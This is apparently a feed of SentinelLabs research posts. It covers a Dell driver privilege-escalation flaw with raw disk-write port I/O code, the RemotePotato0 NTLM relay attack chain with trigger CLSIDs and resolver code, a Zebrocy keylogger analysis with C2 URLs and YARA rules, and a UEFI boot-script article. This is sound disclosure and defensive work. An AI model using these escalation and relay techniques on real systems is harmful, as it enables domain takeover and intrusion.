	unsigned char data[16] = { 0 };
	*((unsigned long *)((unsigned char *)data)) = port;
	bResult = DeviceIoControl(hDevice, IOCTL_BYTE_IN, data, sizeof(data), data, sizeof(data), &junk, NULL);
	if (!bResult) {
		printf("error in port_byte_in: %x\r\n", GetLastError());
	}
	return data[0];
}

Writing directly to the HDD without creating an IRP for that disk write basically bypasses all security mechanisms in the operating system and allows an attacker to write to any sector on the disk.

For example, here is code from the LearnOS repository that takes advantage of IN/OUT instructions for direct HDD writing:

void write_sectors_ATA_PIO(uint32_t LBA, uint8_t sector_count, uint32_t* bytes) {
	ATA_wait_BSY();
	port_byte_out(0x1F6,0xE0 | ((LBA >>24) & 0xF));
	port_byte_out(0x1F2,sector_count);
	port_byte_out(0x1F3, (uint8_t) LBA);
	port_byte_out(0x1F4, (uint8_t)(LBA >> 8));
	port_byte_out(0x1F5, (uint8_t)(LBA >> 16)); 
	port_byte_out(0x1F7,0x30); //Send the write command

	for (int j =0;j<sector_count;j++) {
		ATA_wait_BSY();
		ATA_wait_DRQ();
		for(int i=0;i<256;i++) {
			port_long_out(0x1F0, bytes[i]);
		}
	}
}

Interestingly, unrelated to the IOCTL handler bugs, the driver file itself is located in C:\Windows\Temp, which is also a bug itself and opens the door to other issues. The classic way to exploit this would be to transform any BYOVD (Bring Your Own Vulnerable Driver) into an Elevation of Privileges vulnerability since loading a (vulnerable) driver means you require administrator privileges, which essentially eliminates the need for a vulnerability. Thus, using this side noted vulnerability virtually means you can take any BYOVD to an Elevation of Privileges.

Proof of Concept

Here you can see a proof-of-concept to demonstrate the first LPE due to memory corruption:

Click to play

Impact

The high severity flaws could allow any user on the computer, even without privileges, to escalate their privileges and run code in kernel mode. Among the obvious abuses of such vulnerabilities are that they could be used to bypass security products.

An attacker with access to an organization’s network may also gain access to execute code on unpatched Dell systems and use this vulnerability to gain local elevation of privilege. Attackers can then leverage other techniques to pivot to the broader network, like lateral movement.

Remediation

This vulnerability and its remedies are described in Dell Security Advisory DSA-2021-088. We recommend Dell customers, both enterprise and consumer, to apply the patch as soon as possible.

While Dell is releasing a patch (a fixed driver), note that the certificate was not yet revoked (at the time of writing). This is not considered best practice since the vulnerable driver can still be used in a BYOVD attack as mentioned earlier. Please see the Dell Security Advisory for complete remediation details.

Conclusion

These high severity vulnerabilities, which have been present in Dell devices since 2009, affect hundreds of millions of devices and millions of users worldwide. Similar to a previous vulnerability I disclosed that hid for 12 years, the impact this could have on users and enterprises that fail to patch is far reaching and significant.

While we haven’t seen any indicators that these vulnerabilities have been exploited in the wild up till now, with hundreds of million of enterprises and users currently vulnerable, it is inevitable that attackers will seek out those that do not take the appropriate action. Our reason for publishing this research is to not only help our customers but also the community to understand the risk and to take action.

We would like to thank Dell for their approach to our disclosure and for remediating the vulnerabilities.

Disclosure Timeline

1, Dec, 2020 – Initial report
2, Dec, 2020 – Dell replied with ticket numbers
8, Dec, 2020 – Dell requested more information
9, Dec, 2020 – Dell request additional information
22, Dec, 2020 – Dell replied that a fix should be available in mid April
12, Jan, 2021 – Dell replied that some of the vulnerabilities will not be fixed since the product is EOL
27, Jan, 2021 – Dell requested more time
16, Mar, 2021 – Dell updated that they are cooperating with Microsoft and a fix should be available by the end of April
29, Mar, 2021 – Dell requested more time, confirmed that an update should be available by the end of April
22, Apr, 2021 – Dell initiated a zoom conference call to discuss the blog post release
04, May, 2021 – Initial research released to the public

The post CVE-2021-21551- Hundreds Of Millions Of Dell Computers At Risk Due to Multiple BIOS Driver Privilege Escalation Flaws appeared first on SentinelLabs.

Relaying Potatoes: Another Unexpected Privilege Escalation Vulnerability in Windows RPC Protocol

26 April 2021 at 15:03

By Antonio Cocomazzi and Andrea Pierini

Executive Summary

  • Every Windows system is vulnerable to a particular NTLM relay attack that could allow attackers to escalate privileges from User to Domain Admin.
  • The current status of this vulnerability is “won’t fix”.
  • Enterprise security teams are encouraged to follow the recommendations and mitigations given below.

Introduction

NTLM relaying [1] is a well known technique that has long been abused by attackers. Despite the continuous “fixes” from 2001 onwards, it is still possible in a MITM scenario, for certain protocols where signing is not enabled, to intercept the NTLM messages and to “relay” the authentication to a target resource in order to elevate privileges. Normally, NTLM relays need user intervention, so you have to trick the victim to authenticate to a resource under your control.

In recent years [2] [3] [4], we conducted research into the so-called “DCOM DCE/RPC Local NTLM Reflection”, in particular when it comes to negotiating locally a SYSTEM token and impersonating it, thus leading to an elevation from a SERVICE account to SYSTEM.

Despite recent fixes, it is still possible under certain conditions to negotiate a highly privileged token and to impersonate it during the unmarshalling process of initializing a DCOM object, identified by particular CLSID, via the IStorage Object trigger [5].

During our earlier research, where we implemented a “fake” Oxid Resolver instructing the DCOM client to connect to a RPC Server under our control, we observed that two interesting NTLM authentications took place:

  1. Oxid Resolution (IObjectExporter::ResolveOxid2 call)
  2. IRemUnknown Interface  (IRemUnknown2::RemRelease call)

We decided to investigate the possibility of relaying these authentications to a different resource on a remote machine such as LDAP, SMB, and HTTP instead of stealing the token which requires the impersonation privileges.

First of all, we needed a “usable” authentication, possibly coming from highly privileged users like “Domain Admins” and so on. Some particular CLSID, belonging to application identifiers (AppId) which run under the context of the “Interactive User” can come to the rescue, because they “impersonate” the logged on user in the first session when instantiated in session 0. This is really cool because no victim user interaction is required!

The basic idea was that a standard user could trigger the privileged authentication without the victim’s interaction and relay it to a privileged service on another machine, e.g. ldap server, in order to elevate the user privileges.

In order to understand if there was a potential exploitation path, we needed to answer the following questions:

  • Does the RPC client sign (and check) the NTLM messages?
  • Could the RPC authentication be relayed in this particular cross protocol scenario?

In this post, we will go through the process of how we discovered answers to those questions and, step-by-step, show how we achieved an exploitation path. We went through a lengthy process of responsible disclosure with Microsoft before publishing. Although Microsoft considers the vulnerability an important privilege escalation, it has been classified as “Won’t Fix”.

The NTLM Auth Messages

Our idea was to use one of two authentications as described above. The first one (IObjectExporter::ResolveOxid2) seemed unpromising because the NTLM “Sign flag” was set and we were not sure if the upper layer protocols would consider it or not.

The second one (IRemUnknown2::RemRelease) met our expectations, and the flag was not set (more on this later…):

Now that we knew which authentication to use, the next step was to trigger and intercept it.

The RPC Trigger

It all started from this article [6] by James Forshaw, in which he discovered a way to abuse the the DCOM activation service by unmarshalling an IStorage object and reflecting the NTLM back to a local RPC TCP endpoint to achieve a local privilege escalation. While this vulnerability has been patched, the DCOM activation service was (and still is) a working trigger for RPC authentications.

This is still the trigger of all the “*potato” exploits in order to escalate privileges by leveraging the impersonation privileges.

Nowadays, those exploits focus on stealing a token from a privileged service (usually those running as SYSTEM are of interest), but we know that some CLSID (a way to identify COM class objects) impersonate the user connected to the first Session outside Session 0. [7]

If we have a shell in Session 0, even as a low privileged user, and trigger these particular CLSIDs, we will obtain an NTLM authentication from the user who is interactively connected (if more than one user is interactively connected, we will get that of the user with lowest session id).

So our hypothetical scenario could be the following:

  1. A compromised account with a shell in Session 0. This could be:
    • A low privileged user who can connect to the machine via WinRM-PSSession [8] or ssh [9]
    • A low privileged user who has been granted “Logon as a batch job” rights so that he can create and then run scheduled tasks with the property “Run the task whether the user is logged in or not” from an interactive session on this machine (local or via RDP)
    • A service account even running under a Hardened Virtual Account (e.g., without impersonation privileges [10]).
  2. A highly privileged user logged on to the same machine (local or via RDP)

With that in mind, we focused on analyzing all the “vulnerable” CLSID that we could use to trigger this authentication. These are the ones we found on a Windows Server 2019:

  • BrowserBroker Class
    {0002DF02-0000-0000-C000-000000000046}
  • AuthBrokerUI
    {0ea79562-d4f6-47ba-b7f2-1e9b06ba16a4}
  • Easconsent.dll
    {5167B42F-C111-47A1-ACC4-8EABE61B0B54}
  • Authentication UI CredUI Out of Proc Helper for Non-AppContainer Clients
    {924DC564-16A6-42EB-929A-9A61FA7DA06F}
  • UserInfoDialog
    {934b410c-43e4-415e-9935-fbc081ba93a9}
  • CLSID_LockScreenContentionFlyout
    {BA441419-0B3F-4FB6-A903-D16CC14CCA44}
  • Picker Host
    {c58ca859-80bc-48df-8f06-ffa94a405bff}
  • IsolatedMessageDialogFactory
    {f65817c8-dd85-4136-89f0-b9d12939f2c4}
  • SPPUIObjectInteractive Class
    {F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}
  • CastServerInteractiveUser
    {f8842f8e-dafe-4b37-9d38-4e0714a61149}

Finding an Exploitation Path

Having found a perfect RPC trigger, we started to prepare all the pieces of our possible exploitation scenario.

First, we wanted to understand if we could relay this authentication in a cross protocol scenario, so we wrote a cpp POC that performs a MITM between an RPC authentication and relay over an HTTP server that requires authentication, and guess what? It worked!

We were able to browse protected files on the webserver on behalf of the user who authenticated to our RPC server.

This was the workflow implemented in our MITM:

Once we identified that our RPC authentication could be relayed in a cross protocol scenario, we put together the final exploitation path:

  1. An attacker has a shell in Session 0 on the “victim” machine with a low privileged account;
  2. On this machine a privileged user, like a Domain Admin, is logged on interactively;
  3. The attacker triggers the DCOM activation service by unmarshalling an IStorage object, calling CoGetInstanceFromIstorage with one of the CLSIDs that impersonate the user logged on interactively and setting the IP of the attacker machine for Oxid resolution requests;
  4. The attacker implements a MITM by just listening on port 135 on his machine, which will receive the IObjectExporter::ResolveOxid2 authenticated call and be forwarded to the “fake” Oxid resolver. Even if this call is authenticated, the NTLM “Sign flag” is set so it will be skipped;
  5. The fake Oxid resolver returns a string binding for an RPC endpoint under the attacker’s control;
  6. The victim machine/user will make an authenticated call IRemUnknown2::RemRelease contacting the RPC server (without the Sign flag set);
  7. Authentication will be relayed to a privileged resource such as LDAP, SMB, HTTP or other.Here we had two paths that we could have followed:
    1. Implement in ntlmrelayx a “minimalistic” RPC server with the impacket libs [11].
    2. Encapsulate and forward the authentication in a protocol already implemented and supported in ntlmrelayx[12], e.g. HTTP.
  8. We chose the second path and implemented the whole logic of the MITM and HTTP encapsulator in a POC (RemotePotato0). We then forwarded everything to ntlmrelayx and let it do the job by targeting the LDAP server running on the Domain Controller and adding a new domain admin (or elevate user privileges).

The following schema shows the entire attack flow:

Dealing with Signing Restrictions

Now that exploitation was successful, we tried to understand why the “Sign” flag was not set in IRemUnknown2 calls.

After several tests, we discovered that the poisoned response we give back from our fake Oxid Resolver could influence the setting of the “Sign” flag. One of the fields returned by the Oxid resolver is the security bindings which tell the client which security provider is to be used with the authentication (AuthnSvc).

MSRPC (Microsoft implementation of DCE/RPC protocol) supports a variety of “Security Providers”, including NTLM.

This is a list of the available security providers:

If the provider is set to NTLM (RPC_C_AUTHN_WINNT), it won’t enforce the signing; if set to SPNEGO (RPC_C_AUTHN_GSS_NEGOTIATE), it will. And this is what we did in order to use the correct provider in our poisoned response code:

(*ppdsaOxidBindings)->aStringArray[securityOffset]=RPC_C_AUTHN_WINNT;

We also know that in order to perform these types of attacks, the “Authentication Level” should be RPC_AUTHN_LEVEL_CONNECT (0x2) because this defines an authentication mechanism without enforcing encryption/signing. We can define this kind of RPC authentication as “weak” and potentially vulnerable to relay attacks.

In our ResolveOxid2, we can control this behavior by setting the desired authentication level in pAuthnHint parameter, which returns the minimum accepted authentication level of the object exporter.

error_status_t ResolveOxid2
(
    handle_t        hRpc,
    OXID* pOxid, 
    unsigned short  cRequestedProtseqs, 
    unsigned short  arRequestedProtseqs[],
    DUALSTRINGARRAY** ppdsaOxidBindings,
    IPID* pipidRemUnknown, 
    DWORD* pAuthnHint, 
    COMVERSION* pComVersion
)
{ 
    *pAuthnHint = RPC_C_AUTHN_LEVEL_CONNECT;

And the client will make a call to the IRemUnkown2 interface at least with this level of authentication.

Note: if we set a higher value for the authentication level in the pAuthnHint parameter, for example RPC_C_AUTHN_LEVEL_PKT (0x4), the “Sign” flag will be set again!

Dealing with MIC Restrictions

We also performed a relaying test with SMB protocol on servers where signing was not enabled, and of course it worked, too.

We only ran into trouble with one particular CLSID: {c58ca859-80bc-48df-8f06-ffa94a405bff}, when trying to relay because of the “BAD IMPERSONATION LEVEL”.

In this case, the NTLM “Identify” flag was set in the IRemUnknown2 call (which means that the server should not impersonate the client) and was taken into consideration by SMBv2 protocol.

But what if we alter this flag during our MITM operations? We tried to unset the flag in the forwarded NTLM type 1 message:

and reset it in the NTLM type 2 response message:

A quick test demonstrated that it worked!

Some days after, Microsoft released the November 2020 security patches and magically it stopped working. The SMB handshakes always ended up with a generic “INVALID PARAMETER” which was triggered by an invalid NTLM authentication.

After some testing, we discovered that the root cause was the Message Integrity Check (MIC). It  seemed to be always checked, even if the NTLM “Sign” flag was not set [13], thus altering the NTLM messages led to a signature mismatch.

The Proof Of Concept

We have released a POC of the RemotePotato0 attack here:

https://github.com/antonioCoco/RemotePotato0

Below you can see a quick demonstration:

Mitigations & Detection

Given that Microsoft will not release an official patch, some mitigation by hardening your servers should be undertaken.

For HTTP(S), you should remove all non-TLS-protected HTTP bindings (prefer SSL everywhere, particularly where NTLM is used) and configure Channel Binding Tokens validation by setting the tokenChecking attribute to a minimum of Allow (if not Require) as documented here.

For LDAP, you should set the Domain controller: LDAP server signing requirements Group Policy to Require signature for non-LDAPS LDAP connections as documented here.

In addition, you should also set the Domain controller: LDAP server channel binding token requirements Group Policy to a minimum of When Supported (if not Always) as documented here.

For SMB, you should configure SMB Signing by setting the Group Policy Digitally sign server communication (always) as documented here.

We have also released a YARA rule to detect RemotePotato0:

rule SentinelOne_RemotePotato0_privesc {
    meta:
        author = "SentinelOne"    
        description = "Detects RemotePotato0 binary"
        reference = "https://labs.sentinelone.com/relaying-potatoes-dce-rpc-ntlm-relay-eop"   
    strings:    
    	$import1 = "CoGetInstanceFromIStorage"
        $istorage_clsid = "{00000306-0000-0000-c000-000000000046}" nocase wide ascii    
        $meow_header = { 4d 45 4f 57 }
        $clsid1 = "{11111111-2222-3333-4444-555555555555}" nocase wide ascii
        $clsid2 = "{5167B42F-C111-47A1-ACC4-8EABE61B0B54}" nocase wide ascii
   condition:       
         (uint16(0) == 0x5A4D) and $import1 and $istorage_clsid and $meow_header and 1 of ($clsid*)
}

Conclusion 

We successfully demonstrated how it was possible to trigger an authenticated RPC/DCOM call and relay the NTLM authentication to other protocols. This is different from other known techniques such as CVE-2020-1113 [14] and CVE-2021-1678 [15], where relaying happens between a generic “client” protocol vs. an RPC server. In this case, we had an RPC client whose authentication was relayed to other “server” protocols and without “victim” interaction. Therefore, we hope that MS reconsider their decision not to fix this serious vulnerability.

Disclosure Timeline

11/30/2020 – Submitted vulnerability to MSRC case 62293
12/29/2020 – Microsoft confirmed vulnerability as Important - Elevation of Privilege
1/7/2021 – We informed Microsoft that full details about this issue would have been published after 90 days since our first notification
1/7/2021 – Microsoft asked to keep this issue confidential until 13th of April 2021 (135 days after our first notification) and that a fix was scheduled for that day
2/10/2021 – We agreed to keep this issue confidential as per Microsoft’s request
Mar-Apr/2021 – Sent multiple notifications in order to understand if the fix would be released on the agreed date
4/6/2021 – Microsoft informed us that a security fix would not be released on the 13th of April. No commitment for an exact date for a fix
4/13/2021  – Microsoft informed us that, after an extensive review, they determined that “Servers must defend themselves against NTLM relay attacks” (side note: setting the sign flag in NTLM provider as well as SPNEGO would have inhibited this exploit…)
4/26/2021 – Disclosing this issue

References

  1. https://en.hackndo.com/ntlm-relay/
  2. http://ohpe.it/juicy-potato/
  3. https://decoder.cloud/2019/12/06/we-thought-they-were-potatoes-but-they-were-beans/
  4. https://decoder.cloud/2020/05/11/no-more-juicypotato-old-story-welcome-roguepotato/
  5. https://github.com/decoder-it/juicy_2
  6. https://bugs.chromium.org/p/project-zero/issues/detail?id=325
  7. https://github.com/ohpe/juicy-potato/tree/master/CLSID
  8. https://docs.microsoft.com/en-us/powershell/scripting/learn/remoting/running-remote-commands?view=powershell-5.1
  9. https://docs.microsoft.com/en-us/windows-server/administration/openssh/openssh_install_firstuse
  10. https://decoder.cloud/2020/11/05/hands-off-my-service-account/
  11. https://github.com/SecureAuthCorp/impacket
  12. https://github.com/SecureAuthCorp/impacket/blob/master/examples/ntlmrelayx.py
  13. https://twitter.com/decoder_it/status/1347976999567032321
  14. https://blog.compass-security.com/2020/05/relaying-ntlm-authentication-over-rpc/
  15. https://www.crowdstrike.com/blog/cve-2021-1678-printer-spooler-relay-security-advisory/

The post Relaying Potatoes: Another Unexpected Privilege Escalation Vulnerability in Windows RPC Protocol appeared first on SentinelLabs.

A Deep Dive into Zebrocy’s Dropper Docs

19 April 2021 at 17:02

Contributor: Amitai Ben Shushan Ehrlich

Sofacy is an APT threat actor that’s been around since 2008 and rose to prominence with the election hacks of 2016. Better known as FancyBear or APT28, this threat actor targets governments, military, and private organizations and has been known to engage in hack-and-leak operations. In the past couple of years, Sofacy has drastically retooled and largely evaded analysts. One of the more consistent subgroups is known as Zebrocy. Their targeting appears primarily focused on former Soviet Republics and, more recently, Asia.

In March 2021, we observed a cluster of activities targeting Kazakhstan with Delphocy – malware written in Delphi and previously associated with Zebrocy. The Word documents that were observed purport to be from a Kazakhy company named Kazchrome, a mining and metal company and one of the world’s largest producers of chrome ore and ferroalloys.

In total, we found six Delphocy Word documents that appear to be related to this cluster, all of which contain the same VBA script that drops a PE. Out of the six Word documents, two appear to be authentic uploads to VirusTotal by victims originating from Kazakhstan. The uploaded files contain what appeared to be the original filenames Авансовый отчет(новый).doc and Форма докладной (служебной) записки.doc.

In this post, we take a deep dive into these samples and share some techniques other analysts can employ to reverse engineer Delphocy dropper docs. We show how researchers can bypass password-protected macros and describe both how to decompile Delphi using IDR (Interactive Delphi Reconstructor) and how to import the saved IDC file into Ghidra using dhrake’s plugin.

The results of our analysis led us to discover further Zebrocy clusters; a list of IOCs and YARA detection rules are provided to enable threat hunters to search for these and related artifacts in their environments.

Bypassing VBA Macro Password Protection

When analyzing Office documents with VBA macros, threat hunters have many different tools and techniques that do the job, but I’ve built a habit that I still use when I first started reversing malware to bypass password-protected macros manually.

  1. Open up your favorite hex editor. I use HxD.
  2. Load the Word Document.
  3. Search for the following text:
    1. CMG=
    2. GC=
    3. DPB=
  4. Add an x to each of them:
    1. CMGx=
    2. GCx=
    3. DPBx=
  5. Save the file with the changes.

When opening the Word document and viewing the macro this time, you can see the script as well as the Forms. When analyzing the function, what immediately sticks out is the ert.DataType = “bin.base64”, showing that the UserForm1 is encoded with base64.

Wininition UserForm

When selecting on UserForm1, the textbox reveals a base64 encoded string; we know this because of the function we discussed above. The next step is to copy the entire string into a file so it can be decoded.

Now we decode the binary from base64 and save it to disk as wininition.exe.

Following that, clean the headers using HxD, and then use PE-Bear to fix the sections headers to move to the next phase of the analysis.

When triaging a binary, the go-to tool is Hiew to investigate and look for clues for a deeper understanding. With wininition, I notice the Embarcadero string, which means that this binary was written in Delphi. When reversing Delphi binaries I’ve always used IDR (Interactive Delphi Reconstructor). IDR is a decompiler of executable files and dynamic libraries (DLL) written in Delphi.

Reversing Delphi Binaries with Ghidra and dhrake

When searching for the latest developments with IDR, I came across a fantastic plugin for Ghidra, a collection of scripts for reverse engineering Delphi binaires in Ghidra using IDR’s output to IDC. It was published over a year ago, but it is a gem if threat hunters are using Ghidra.

dhrake allows you to import the IDC file from IDR into Ghidra. This will import the Symbol names, function signatures and create structs for Delphi classes. This plugin extracts and applies the Delphi symbols from the IDC file, which is generated by IDR, and attempts to find cases where Ghidra has incorrectly determined the entry point of a function. If you’ve never imported a plugin to Ghidra please read this post. I’ve saved the IDC to a selected folder. I then install the plugin in Ghidra and run the script it prompts for the IDC file and then load it!


In the wininition binary, the first function WinMain has SetWindowsHookExW function, which is a hook procedure to monitor a system for certain types of events. The hook procedures low-level keyboard input events is WH_KEYBOARD_LL, which is the number 13 in the parameter. This hook is a mechanism that intercepts keystroke events. All the events are then saved to a log file to be sent to a C2.

The C2 is obfuscated using hex that can be converted to ascii:

68747470733A2F2F7777772E786268702E636F6D2F646F6D696E61726772656174617369616E6F6479737365792F77702D636F6E74656E742F706C7567696E732F616B69736D65742F7374796C652E706870
hxxps://www.xbhp[.]com/dominargreatasianodyssey/wp-content/plugins/akismet/style.php

68747470733A2F2F7777772E63346373612E6F72672F696E636C756465732F736F75726365732F66656C696D732E706870
hxxps://www.c4csa[.]org/includes/sources/felims.php

Note: These appear to be compromised domains.

Conclusion

Analysis of these documents led us to find other Zebrocy clusters. As Zebrocy continues to evolve its scope, organizations must have the proper visibilities and detection capabilities to find this threat actor. We hope the techniques discussed in this post will be useful to other researchers in analyzing Delphocy dropper docs in particular, and documents with password-protected macros in general.

Indicators of Compromise

Word Documents

SHA256
3b548a851fb889d3cc84243eb8ce9cbf8a857c7d725a24408934c0d8342d5811
1dd03c4ea4d630a59f73e053d705185e27e2e2545dd9caedb26a824ac5d11466
1e8261104cbe4e09c19af7910f83e9545fd435483f24f60ec70c3186b98603cc
c213b60a63da80f960e7a7344f478eb1b72cee89fd0145361a088478c51b2c0e
2bf088955007b4f47fe9187affe65fffea234ff16596313a74958a7c85129172
d9e7325f266eda94bfa8b8938de7b7957734041a055b49b94af0627bd119c51c
SHA1
fc0b7ad2ae9347d6d2ababe2947ffb9f7cc73030
71b4b9f105de94090fc36d9226faaa1db6d9f3d1
6a8f63c4491adcf2cf7f76cd1481c5647615a6c9
a3ecf1fdc1206e9d3061530fa91775cf3d97f788
ae01ca2cf0dc07abb3a7bef9930e38c9212975d5
66b39f4fd1dd51c2f548330e5818f732dad0aa28

VBA

SHA256
a442135c04dd2c9cbf26b2a85264d31a5ac4ec5d2069a7b63bc14b64a6dd82b7
SHA1
6ec4eb883752b70db134ac0f4e0d5b4a77196184

Wininition

SHA256
ee7cfc55a49b2e9825a393a94b0baad18ef5bfced67531382e572ef8a9ecda4b
SHA1
afbdb13d8f620d0a5599cbc7a7d9ce8001ee32f1

URLs

hxxps://www.xbhp[.]com/dominargreatasianodyssey/wp-content/plugins/akismet/style.php
hxxps://www.c4csa[.]org/includes/sources/felims.php

Yara Rules

rule apt_RU_delphocy_encStrings {
  meta:
    desc = "Hex strings in Delphocy drops"
    author = "JAG-S @ SentinelLabs"
    version = "1.0"
    TLP = "White"
    last_modified = "04.09.2021"
    hash0 = "ee7cfc55a49b2e9825a393a94b0baad18ef5bfced67531382e572ef8a9ecda4b"
    hash1 = "07b2d21f4ef077ccf16935e44864b96fa039f2e88c73b518930b6048f6baad74"

  strings:
    $enc_keylogger2 = "5B4241434B53504143455D" ascii wide
    $enc_keylogger3 = "5B5441425D" ascii wide
    $enc_keylogger4 = "5B53484946545D" ascii wide
    $enc_keylogger5 = "5B434F4E54524F4C5D" ascii wide
    $enc_keylogger6 = "5B4553434150455D" ascii wide
    $enc_keylogger7 = "5B454E445D" ascii wide
    $enc_keylogger8 = "5B484F4D455D" ascii wide
    $enc_keylogger9 = "5B4C4546545D" ascii wide
    $enc_keylogger10 = "5B55505D" ascii wide
    $enc_keylogger11 = "5B52494748545D" ascii wide
    $enc_keylogger12 = "5B444F574E5D" ascii wide
    $enc_keylogger13 = "5B434150534C4F434B5D" ascii wide
    $cnc1 = "68747470733A2F2F7777772E786268702E636F6D2F646F6D696E61726772656174617369616E6F6479737365792F77702D636F6E74656E742F706C7567696E732F616B69736D65742F7374796C652E706870" ascii wide
    $cnc2 = "68747470733A2F2F7777772E63346373612E6F72672F696E636C756465732F736F75726365732F66656C696D732E706870" ascii wide

  condition:
    uint16(0) == 0x5a4d and (any of ($cnc*) or all of ($enc_keylogger*))
}
rule apt_RU_Delphocy_Maldocs {
  meta:
    desc = "Delphocy dropper docs"
    author = "JAG-S @ SentinelLabs"
    version = "1.0"
    TLP = "White"
    last_modified = "04.09.2021"
    hash1 = "3b548a851fb889d3cc84243eb8ce9cbf8a857c7d725a24408934c0d8342d5811"
    hash2 = "c213b60a63da80f960e7a7344f478eb1b72cee89fd0145361a088478c51b2c0e"
    hash3 = "d9e7325f266eda94bfa8b8938de7b7957734041a055b49b94af0627bd119c51c"
    hash4 = "1e8261104cbe4e09c19af7910f83e9545fd435483f24f60ec70c3186b98603cc"

  strings:
    $required1 = "_VBA_PROJECT" ascii wide
    $required2 = "Normal.dotm" ascii wide
    $required3 = "bin.base64" ascii wide
    $required4 = "ADODB.Stream$" ascii wide
    $author1 = "Dinara Tanmurzina" ascii wide
    $author2 = "Hewlett-Packard Company" ascii wide
    $specific = "Caption         =   \"\\wininition.exe\"" ascii wide
    $builder1 = "Begin {C62A69F0-16DC-11CE-9E98-00AA00574A4F} UserForm1" ascii wide
    $builder2 = "{02330CFE-305D-431C-93AC-29735EB37575}{33D6B9D9-9757-485A-89F4-4F27E5959B10}" ascii wide
    $builder3 = "VersionCompatible32=\"393222000\"" ascii wide
    $builder4 = "CMG=\"1517B95BC9F7CDF7CDF3D1F3D1\"" ascii wide
    $builder5 = "DPB=\"ADAF01C301461E461EB9E2471E616F01D06093C59A7C4D30F64A51BDEDDA98EC1590C9B191FF\"" ascii wide
    $builder6 = "GC=\"4547E96B19021A021A02\"" ascii wide

  condition:
    uint32(0) == 0xE011CFD0 and all of ($required*) and (all of ($author*) or $specific or 5 of ($builder*))
}

The post A Deep Dive into Zebrocy’s Dropper Docs appeared first on SentinelLabs.

Adventures From UEFI Land: the Hunt For the S3 Boot Script

8 April 2021 at 16:10

By Assaf Carlsbad & Itai Liba

Hello and welcome back to the 4th part of our blog posts series covering various aspects of UEFI internals and exploitation. In the last three posts, we mostly covered the necessary background information to help us bootstrap our journey into UEFI land. We culminated by developing our own coverage-guided fuzzer on top of the Qiling emulation framework and AFL++ that can be used to fuzz the contents of NVRAM variables.

During the course of these three blog posts, our interaction with UEFI code was mostly mediated through software emulation (backed by the amazing Qiling engine). While very accessible and cost-effective, this blog post will explore firmware code via a slightly different approach. As such, most of our interactions will be with a live, physical system. The main motivation for this paradigm shift came from a somewhat innocent attempt to run a CHIPSEC module which goes by the name common.uefi.s3bootscript:

Figure 1 – First attempt to recover and parse the S3 boot script.

The common.uefi.s3bootscript module is in charge of locating, parsing and validating a piece of memory commonly referred to as the “S3 boot script”. In a nutshell, the S3 boot script is a data structure that lists the actions the firmware must take in order to correctly recover from the S3 sleep state. Unfortunately, at least on our own testing machine, (Lenovo ThinkPad T490) this CHIPSEC module consistently failed with a somewhat cryptic error message: “S3 Boot-Script was not found. Firmware may be using other ways to store/locate it”.

For the average security researcher, such phrasing immediately raises a series of follow-up questions, such as:

  • How exactly does CHIPSEC try to locate the boot script?
  • What are the “other ways” the firmware might be using to store it?
  • Can we find some alternative methods to extract and parse the boot script?

Like most other things in life, the motivation for answering these questions is threefold:

  • Visibility: Normally, we tend to think of the firmware as an obscure, big blackbox that provides very limited visibility to what is actually happening under the hood. Knowing exactly what the firmware is doing to recover from S3 sleep state can definitely shed some light on the subject and help us reveal the underlying implementation of some low-level components and interfaces.
  • Vulnerability hunting: Historically, naive or just plain bad implementations of the S3 boot script were subject to a myriad of attacks. Because the system is not yet fully configured by the time the boot script executes, hijacking control flow at this point in time allows attackers to disable or completely bypass certain security features offered by the platform. By knowing how to locate, extract and parse the boot script we can validate its integrity and assess its resilience against these kinds of attacks.
  • Fun: Last but not least, this can be a very interesting challenge on its own which also puts into test a lot of the knowledge that we gathered around UEFI in particular and firmware security in general.

The S3 Boot Script

Before moving on to explore some actual techniques for dumping the boot script, it’s important to take some time to understand the rationale behind it. The S3 sleep state was introduced by the ACPI standard for power management, alongside some additional low-power states labeled S1, S2 and S4. Lets go over them briefly:

  • S1 is the Standby state. This is a low-wake latency state, where no CPU or chipset context is lost.
  • S2 is currently not supported by ACPI.
  • S3 is the suspend-to-RAM state. It is similar to the S1 sleep state except that the CPU is turned off and some chips on the motherboard might be off as well. Power to main system memory, on the other hand, is retained. After the wake event, control starts from the processor’s reset vector.
  • S4 is the suspend-to-Disk state (hibernation). It is the lowest power, longest wake latency sleeping state supported by ACPI. It is usually implemented by writing an image of memory into a hibernation file before powering down. Upon resumption, the system restores its context from the saved hibernation file on disk.
Figure 2 – State diagram of the different power states defined by ACPI. All sleep states described above are grouped under the “G1 – Sleeping” cluster.

As has already been mentioned, UEFI breaks the boot process into multiple distinct phases, each with its own responsibilities and limitations. During a normal boot, the PEI phase is responsible for initializing just enough of the platform’s resources to enable the execution of the DXE phase, which is where the majority of platform configuration is performed by different DXE drivers.

Figure 3 – The PEI phase precedes the DXE phase during normal boot and enables its execution.

However, to speed up booting from S3 sleep UEFI provides a mechanism called a “boot script” that lets the S3 resume path avoid the DXE, BDS and TSL phases altogether. The boot script is created during normal boot with the intention of being consumed by the S3 resume path:

  • During a normal boot, DXE drivers record the platform’s configuration in the boot script, which is saved in NVS. The boot script is comprised out of a series of high-level “opcodes” which are to be interpreted by a boot script execution engine. These “opcodes” include reading from and writing to I/O ports, PCI devices, main memory, etc. For the complete list of supported opcodes, please refer to PiS3BootScript.h.
Figure 4 – A decoded boot script entry that writes to a PCI device (source)
  • Upon resuming from S3 a boot script engine executes the script, thereby restoring device configurations that were lost during sleep. Schematically, the relationship between the PEI phase, DXE phase and the S3 boot script can be depicted as follows:
Figure 5 – Relationship between the normal boot path, the S3 resume path and the boot script (source).

For a more thorough discussion of the S3 boot script and its role in restoring the platform’s configuration, please refer to this document.

Digging Deeper

Now that we know what the S3 boot script is all about, let’s try to get a clearer picture of what went wrong with CHIPSEC.

To do so, we’ll run a command to dump it again, this time with the --hal and -v command-line switches for augmented verbosity:

Figure 6 – Running chipsec_util.py with some extra verbosity flags reveals the root cause of the problem.

From the output of the command we can clearly see that in order to get the contents of the boot script, CHIPSEC first tries to search for an EFI variable named AcpiGlobalVariable.

The exact definition of the structure that backs up this variable can be found in AcpiVariableCompatibility.h taken from the ModernFW repository:

Figure 7 – The definition of ACPI_VARIABLE_SET_COMPATIBILITY

Taking padding into account, offset 0x18 of the structure contains the AcpiBootScriptTable member which holds the physical address of the boot script in memory. Now that we know for sure the pointer to the boot script is encapsulated inside AcpiGlobalVariable, let’s try to figure out why CHIPSEC failed to find it. To do so, we’ll run the chipec_util uefi var-find command that lets us query and probe for the presence of EFI variables:

